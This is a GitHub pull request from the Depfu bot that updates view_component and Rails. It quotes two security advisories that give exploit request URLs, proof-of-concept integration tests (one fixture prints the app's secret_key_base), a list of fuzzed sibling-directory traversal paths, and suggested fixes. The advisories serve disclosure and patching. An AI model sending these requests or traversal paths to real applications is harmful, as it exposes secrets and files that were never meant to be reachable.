🚨 [security] [ruby] Update view_component 4.0.2 → 4.9.0 (minor) by depfu[bot] · Pull Request #120 · practical-computer/practical

depfu · 2026-05-09T00:05:26Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ view_component (4.0.2 → 4.9.0) · Repo · Changelog

Security Advisories 🚨

🚨 view_component: Preview Route Can Dispatch Inherited Helper Methods

Summary

The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.

As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.

If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.

Severity: High if preview routes are externally reachable; Medium otherwise.

Affected files:

lib/view_component/preview.rb
app/controllers/concerns/view_component/preview_actions.rb
app/views/view_components/preview.html.erb

Relevant Code

app/controllers/concerns/view_component/preview_actions.rb:

@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)

lib/view_component/preview.rb:

example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)

app/views/view_components/preview.html.erb:

<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>

The UI only lists direct preview methods via:

public_instance_methods(false).map(&:to_s).sort

But render_args does not enforce that list before dispatching.

Exploit Flow

Example request:

GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request

Flow:

my_component resolves to a valid preview.
File.basename(params[:path]) returns render_with_template.
render_args calls inherited ViewComponent::Preview#render_with_template.
Request params provide template: "internal/secret" and locals: {...}.
The preview view renders internal/secret with attacker-controlled locals.

Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.

PoC Test

This checkout already contains a PoC at:

test/sandbox/test/security_preview_template_poc_test.rb
test/sandbox/app/views/internal/secret.html.erb

The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.

If reproducing manually, run:

bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb

Equivalent standalone test:

# frozen_string_literal: true
require "test_helper"
class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest

def setup

ViewComponent::Preview.__vc_load_previews

end
def test_preview_route_can_invoke_inherited_render_with_template

refute_includes MyComponentPreview.examples, "render_with_template"
<span class="pl-en">assert_raises</span><span class="pl-kos">(</span><span class="pl-v">ActionController</span>::<span class="pl-v">RoutingError</span><span class="pl-kos">)</span> <span class="pl-k">do</span>
  <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">application</span><span class="pl-kos">.</span><span class="pl-en">routes</span><span class="pl-kos">.</span><span class="pl-en">recognize_path</span><span class="pl-kos">(</span><span class="pl-s">"/internal/secret"</span><span class="pl-kos">)</span>
<span class="pl-k">end</span>

<span class="pl-en">get</span><span class="pl-kos">(</span>
  <span class="pl-s">"/rails/view_components/my_component/render_with_template"</span><span class="pl-kos">,</span>
  <span class="pl-pds">params</span>: <span class="pl-kos">{</span>
    <span class="pl-pds">template</span>: <span class="pl-s">"internal/secret"</span><span class="pl-kos">,</span>
    <span class="pl-pds">locals</span>: <span class="pl-kos">{</span><span class="pl-pds">poc_local</span>: <span class="pl-s">"attacker-controlled-local"</span><span class="pl-kos">}</span><span class="pl-kos">,</span>
    <span class="pl-pds">request_marker</span>: <span class="pl-s">"attacker-controlled-request"</span>
  <span class="pl-kos">}</span>
<span class="pl-kos">)</span>

<span class="pl-en">assert_response</span> <span class="pl-pds">:success</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_PREVIEW_POC_SECRET=foo"</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_PREVIEW_POC_LOCAL=attacker-controlled-local"</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_PREVIEW_POC_REQUEST=attacker-controlled-request"</span>

end

end

Fixture template:

<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>

Suggested Fix

Only dispatch explicitly declared preview examples:

def render_args(example, params: {})
  example = example.to_s
  raise AbstractController::ActionNotFound unless examples.include?(example)
example_params_names = instance_method(example).parameters.map(&:last)

provided_params = params.slice(*example_params_names).to_h.symbolize_keys

result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)

result ||= {}

result[:template] = preview_example_template_path(example) if result[:template].nil?

@layout = nil unless defined?(@layout)

result.merge(layout: @layout)

end

Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.

🚨 view_component: System Test Entry Point Path Check Allows Sibling Directory Escape

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

render file: @path

Exploit Flow

Example request:

GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

base_path resolves to .../tmp/view_components.
The payload resolves to .../tmp/view_components_evil/secret.html.erb.
That path is outside the intended temp directory.
The string prefix check still passes.
Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

# frozen_string_literal: true
require "test_helper"

require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest

def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix

base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)

parent_dir = File.dirname(base_dir)

sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")

outside_file = File.join(sibling_dir, "secret.html.erb")
<span class="pl-v">FileUtils</span><span class="pl-kos">.</span><span class="pl-en">mkdir_p</span><span class="pl-kos">(</span><span class="pl-s1">sibling_dir</span><span class="pl-kos">)</span>
<span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">write</span><span class="pl-kos">(</span><span class="pl-s1">outside_file</span><span class="pl-kos">,</span> <span class="pl-s">"&lt;div&gt;VC_SYSTEM_TEST_TRAVERSAL_POC&lt;/div&gt;"</span><span class="pl-kos">)</span>

<span class="pl-en">get</span> <span class="pl-s">"/_system_test_entrypoint"</span><span class="pl-kos">,</span> <span class="pl-pds">params</span>: <span class="pl-kos">{</span>
  <span class="pl-pds">file</span>: <span class="pl-s">"../<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">basename</span><span class="pl-kos">(</span><span class="pl-s1">base_dir</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>_evil/secret.html.erb"</span>
<span class="pl-kos">}</span>

<span class="pl-en">assert_response</span> <span class="pl-pds">:success</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_SYSTEM_TEST_TRAVERSAL_POC"</span>

ensure

FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file

Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)

end

end

Run:

bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s

end

Or require a separator boundary:

allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

A normal temp file inside tmp/view_components
../../README.md
../view_components_evil/secret.html.erb
A symlink inside the temp directory that resolves outside it

Release Notes

4.9.0

4.8.0

4.7.0

4.6.0

4.5.0

4.4.0

4.3.0

4.2.0

4.1.1

4.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ rails (8.0.3 → 8.1.3) · Repo · Changelog

Release Notes

8.1.3

8.1.2.1

8.1.2

8.1.1

8.1.0

8.0.5

8.0.4.1

8.0.4

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actioncable (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionmailbox (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionmailer (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ actionpack (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Security Advisories 🚨

🚨 Rails has a possible XSS vulnerability in its Action Pack debug exceptions

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actiontext (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionview (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Security Advisories 🚨

🚨 Rails has a possible XSS vulnerability in its Action View tag helpers

🚨 Rails has a possible XSS vulnerability in its Action View tag helpers

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activejob (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activemodel (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activerecord (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activestorage (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ activesupport (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Security Advisories 🚨

🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited

🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%

🚨 Rails Active Support has a possible DoS vulnerability in its number helpers

🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited

🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%

🚨 Rails Active Support has a possible DoS vulnerability in its number helpers

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ bigdecimal (indirect, 3.3.1 → 4.1.2) · Repo · Changelog

Release Notes

4.1.2

4.1.1

4.1.0

4.0.1

4.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ concurrent-ruby (indirect, 1.3.5 → 1.3.6) · Repo · Changelog

Release Notes

1.3.6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ connection_pool (indirect, 2.5.4 → 3.0.2) · Repo · Changelog

Release Notes

3.0.2 (from changelog)

3.0.1 (from changelog)

3.0.0 (from changelog)

2.5.5 (from changelog)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ i18n (indirect, 1.14.7 → 1.14.8) · Repo · Changelog

Release Notes

1.14.8

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ minitest (indirect, 5.26.0 → 6.0.6) · Repo · Changelog

Release Notes

6.0.6 (from changelog)

6.0.5 (from changelog)

6.0.4 (from changelog)

6.0.3 (from changelog)

6.0.2 (from changelog)

6.0.1 (from changelog)

6.0.0 (from changelog)

5.27.0 (from changelog)

5.26.2 (from changelog)

5.26.1 (from changelog)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ railties (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ uri (indirect, 1.0.4 → 1.1.1) · Repo · Changelog

Release Notes

1.1.1

1.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 action_text-trix (added, 2.1.18)

🗑️ benchmark (removed)

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

Update view_component to version 4.9.0

aa031b2

depfu Bot added the depfu label May 9, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] [ruby] Update view_component 4.0.2 → 4.9.0 (minor)#120

🚨 [security] [ruby] Update view_component 4.0.2 → 4.9.0 (minor)#120
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/view_component-4.9.0

depfu Bot commented May 9, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

depfu Bot commented May 9, 2026

What changed?

✳️ view_component (4.0.2 → 4.9.0) · Repo · Changelog

Summary

Relevant Code

Exploit Flow

PoC Test

Suggested Fix

Summary

Relevant Code

Exploit Flow

Targeted Fuzz Result

PoC Test

Suggested Fix

✳️ rails (8.0.3 → 8.1.3) · Repo · Changelog

↗️ actioncable (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ actionmailbox (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ actionmailer (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ actionpack (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Impact

Releases

Credit

↗️ actiontext (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ actionview (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Impact

Releases

Credit

Impact

Releases

Credit

↗️ activejob (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ activemodel (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ activerecord (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ activestorage (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ activesupport (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Impact

Releases

Credit

Impact

Releases

Credit

Impact

Releases

Credit

Impact

Releases

Credit

Impact

Releases

Credit

Impact

Releases

Credit

↗️ bigdecimal (indirect, 3.3.1 → 4.1.2) · Repo · Changelog

↗️ concurrent-ruby (indirect, 1.3.5 → 1.3.6) · Repo · Changelog

↗️ connection_pool (indirect, 2.5.4 → 3.0.2) · Repo · Changelog

3.0.2 (from changelog)

3.0.1 (from changelog)

3.0.0 (from changelog)

2.5.5 (from changelog)

↗️ i18n (indirect, 1.14.7 → 1.14.8) · Repo · Changelog

↗️ minitest (indirect, 5.26.0 → 6.0.6) · Repo · Changelog

6.0.6 (from changelog)

6.0.5 (from changelog)

6.0.4 (from changelog)

6.0.3 (from changelog)

6.0.2 (from changelog)

6.0.1 (from changelog)

6.0.0 (from changelog)

5.27.0 (from changelog)

5.26.2 (from changelog)

5.26.1 (from changelog)

↗️ railties (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ uri (indirect, 1.0.4 → 1.1.1) · Repo · Changelog

🆕 action_text-trix (added, 2.1.18)

🗑️ benchmark (removed)

Uh oh!

Reviewers

Assignees